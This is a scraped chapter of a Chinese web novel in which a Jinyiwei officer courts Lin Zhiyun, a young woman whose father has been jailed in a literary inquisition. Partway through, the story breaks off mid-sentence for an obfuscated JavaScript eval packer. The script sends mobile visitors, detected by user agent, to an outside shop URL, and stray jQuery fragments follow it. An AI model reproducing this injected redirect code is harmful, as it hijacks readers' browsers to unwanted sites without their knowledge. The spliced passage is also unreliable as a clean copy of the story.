文趣网 > 其他小说 > 扎手(强取豪夺) > 10. 养花
    一只劲瘦有力、青筋凸起的大手掀开蜀锦四合纹帘子,来人一身鸦青暗纹直身、头戴黑色儒巾帽,额上伤疤遮的严严实实,笑容罕见地和煦。不穿飞鱼服,不跨绣春刀,青天白日的见他,倒削减了几分骇人气质。

    昨儿晚上,今儿白天都穿的文人直身,或许他并不想被人知道身份,知韫微微颔首:“沈公子有礼了。”

    沈朔脚步一顿。

    他十七岁才识字,在晋王府时,闲时跟着夫子学,办差时跟着上头学。却也不成体系,用到哪些学哪些,不用的等有空了再学。加之他总干些杀人索命的行当,惯常一身飞鱼服、挎着绣春刀在外面,看着很是嚣张跋扈。朝中有不少人都骂他是野人,不通文墨、不懂礼仪。沈朔不甚在意,那些人说的没错,他本来就是个粗人。

    没想到,他还能被知韫称作文绉绉的“沈公子。”

    她的声音清亮,又带了一丝软糯,“沈公子”三个字从她口中说出来,有股说不明白的韵味儿在里头。

    沈朔不自觉放缓了步子,离知韫两步远的地方站定。

    身后的年轻伙计跟上来:“客官,您不是要看花吗?怎么……”

    张管事看那伙计一眼,伙计闭口不言,自觉退下。

    沈朔微微低头,垂眼看知韫。

    “原本在后头选花,听见你声音,就想出来看看,没想到真是你。”

    知韫侧身,刚来就走,实在太明显。她只好说:“沈公子自便。”

    又对管事的说:“我要两包花肥,烦请送到林府去。”

    纫秋从荷包里取出银子递给张管事,知韫屈膝行礼:“府中还有事,我先回去,沈公子慢慢挑。”

    想走,面前却忽然一暗,像是座山挡在面前。

    知韫仰头,他逆着光站,即便带着笑,面庞也是暗的。

    “沈某有一事,想请林姑娘帮忙。”

    “沈公子说笑,我只是个闺阁女子,哪能帮得上您的忙。”

    沈朔慢慢躬身,通身的阴影覆盖下来,将知韫从头到脚压住,透不出来气。

    他没带刀,额上的疤也遮住了。负手立着,离她两步远,不算失礼。面上挂着和煦的笑,为何,知韫还是觉得想逃呢?

    “林姑娘,话何必说的如此绝情。说不定哪一日,你又要用到沈某呢?”

    知韫耳根微微发红。

    昨日才请他帮忙,今日就翻脸不认人,的确不好。而且,贺词的事……留条退路总是好的。

    “沈公子请说。”

    沈朔侧身,门外的光再度透进来,知韫眼前终于重现光明。

    “我想养虎刺梅,可惜这店里没有。沈姑娘知不知道在哪能买到?”

    知韫微微蹙眉,有些怀疑地看着沈朔,静默片刻说:“虎刺梅全株有毒,沈公子不妨换个别的花儿养。”

    沈朔侧身两步又来到柜台前,一条小臂搁在柜台,修长的食指若有若无地轻敲柜台。

    他让开了,大门敞开着,想走,知韫随时就能走。

    微微偏头,眉眼衔笑,他看着知韫说:“没办法,看一眼就喜欢,有毒也得精心养着。”

    这会儿店里没什么人,很安静,安静地让人忍不住琢磨他的话。

    知韫抬眼,不闪不避盯着他眼睛看,淡淡道:“城南丰台连畦接畛,是附近最大的花卉养殖地。沈公子去那儿,自然能找到想要的。”

    她也侧身,正对着他说:“天气太冷,虎刺梅多半开不了花。沈公子别买太多,先买一两盆回来试试。说不定过段时间,您被扎疼了,就不想再养。”

    沈朔抬起左手,放在眼前翻转,又往知韫面前递,笑看知韫。

    “林姑娘,你看沈某这手。皮糙肉厚,全是茧子,刺估计都扎不进去。”

    知韫抿唇,再度屈膝:“我要先回去。”

    “等等!”

    “我从没养过花,不太懂,未免被那老板坑骗,林姑娘能否随我一同前往?”

    “林府最近出了些事,沈公子应当是知道的。我如今没有心情出远门买花,望沈公子见谅。”

    说罢,知韫不等沈朔回答,提着裙子就往外走。

    沈朔微微叹口气,立在柜台,目光裹住那小小身影,看着她上马车,马车离去。

    这是第二次大白天见她,脸只有他巴掌那么大,生气时却生出一股英气。脸、脖子、手,凡是露在外面的地方,全都白嫩嫩的,像上好的白玉,光一照,几乎是透明的。

    长得真好看,也不知道吃什么长大的。

    “要两盆。”沈朔顿了顿,又说:“四盆吧,送到小时雍坊撒子王胡同。”

    他转过身,原本想问这管事,知韫都养了哪些花,每样都送两盆过来。转念又一想,新宅子还没修整好,撒子王胡同的小四合院摆不了这么多花,遂作罢,留下银子便走了。

    次日晚上,沈朔从衙门里回来,花儿便送了过来。沈朔认真做了功课,知道这花不耐寒,不敢将花放在院子里,全都搬到自己房中,搁在窗台上。

    他两手撑在膝盖上,视线与红色的花儿齐平,好奇地观察他们。

    根茎很粗壮,全是刺,娇嫩的花儿立在荆棘之中。

    看着看着,他忽然笑出了声,没忍住用手去碰花蕊。果不其然,叫刺扎着了。并没有扎破,沈朔常年刀尖添血,刺扎一下根本不算什么,他也没当回事。

    原本打算次日早上带两盆去锦衣卫衙门里,搁在案头上。谁知,早上一起来,四朵花都凋零了。

    沈朔郁闷不已,站在窗台叹气。

    再看手,被扎的地方似乎肿了,轻微刺痛。

    ……

    碰到沈朔那日早上,知韫去了姨父家中。姨父说那贺表:“文字狱本身就是钻营文字,可解读的地方太多了。知韫,你闷在家中想是不行的,得去找给你爹定罪的人,看看他们抓住了哪处把柄。”

    知韫不好再说,便起身告辞,姨父姨母一直将她送到大门口。姨父低垂着头,很是羞愧地说:“知韫,别怪姨父。姨父在仕途上没什么建树,而今只想将家人照料好。你表弟还小……”

    林家这一摊子事,除了杨明疏,没人愿意沾手。

    当时外头并未出太阳,只是京城积了太多雪,到处惨白一片。稍微有点亮光,便被这白反射出去,难堪地照在知韫脸上。她扯出个笑说:“府里事忙,接下来恐怕都没时间

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886382|212553||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    来看弟弟妹妹们,姨夫姨母莫怪。”

    听说兴平县的瘟疫已经控制住了,知韫只盼望杨明疏快点回来。

    知韫眼巴巴等了两天,没等到杨明疏回京的消息,反倒又得知他被调去大兴县赈灾。知韫枯坐了一整天,到晚上时,恼恨地砸了茶盏。

    他为什么,只顾着天下人,就不顾念着她。

    父亲被抓的第二天早上她就写了信,这都十几天了,一封回信都没有。是没收到,还是收到了不想回?

    林知徽坐在她身旁,两只手挽住她胳膊,仰脸问:“姐姐,你是不是缺银子?我也攒了私房钱,两百两,都给你。”

    知韫眼眶泛酸,又生生忍回去,搂着林知徽,将头靠在她肩上。

    少倾,带着林知徽去睡觉。

    那日姨母的话又在脑海中重演。

    姨母要她赶紧嫁到杨府去,祸不及出嫁女,好歹先保全自身,日后才有机会再救其余的弟弟妹妹。

    她能嫁出去,知徽怎么办?

    更何况,新郎官现在还在外头赈灾呢,她跟谁拜堂?

    次日一大早,知韫顾不上礼数,又去了吏部衙门找韩侍郎。办差的客气将她请进去,知韫从天亮坐到天黑,小厮又连忙陪不是,让她先回去。第三天她又去了,等到中午时还不见来人,便知晓了韩侍郎的意思,主动告辞。

    回去的路上难得没下雪,知韫掀开车帘看,街上乌压压跪了一排人,全是大兴县逃来的难民。上到耄耋老者,下至抱在怀里的婴孩,统统跪在冰天雪地里。健壮的男丁都躲在屋檐下无雪的地方,可是抬头往上看,屋檐下吊着手臂长的冰锥。若是砸下来,底下跪着的人恐怕就没命了。

    听闻大兴县已经冻死了上千人,原先去的赈灾使从中贪墨,日前已被皇上下令处斩。

    大兴这个地方离京城近,在京城屯地未免太过打眼,许多权贵都选择在大兴买地。因而大兴的大半土地都归京城的权贵所有,老百姓手里没地,稍有个灾年便活不成。去大兴赈灾,那就是权贵头上拔毛。

    原先的赈灾使,或许并没有贪墨。

    知韫长长叹一口气,而今也不怪杨明疏了,那边成千上万的百姓还等着他。只盼望,他能活着回来。

    “听说了吗,昨儿菜市场又斩了十几口人。好像是原来的户部主事章埻一家人,定罪还不到两个月就斩了。”

    “锦衣卫的眼线遍天下,你小子不要命,别带上我。”听话的人两手揣进袖子里,大步往前走。

    原先议论的人面露惊恐,四下张望,也慌慌张张离去。

    十月初一章埻家中幼女及笄,知韫去赴宴,在章府里遇到了沈朔。

    按照本朝律法,即便定罪,一般也都在第二年才将名单递上去,皇上亲笔勾了才处斩。皇上每次只勾几个名字,若是运气好,每次都轮不着他,或许还能在牢里熬个一二十年。若是运气再好些,赶上大赦天下,说不定就出来了。

    章埻只是个六品主事,皇上都如此心急要处斩。看来,拔除废太子势力势在必行了。宁可误杀,不能放过。

    时间拖得太久,父亲会不会也在误杀名单之中?

    难道,又要去找沈朔?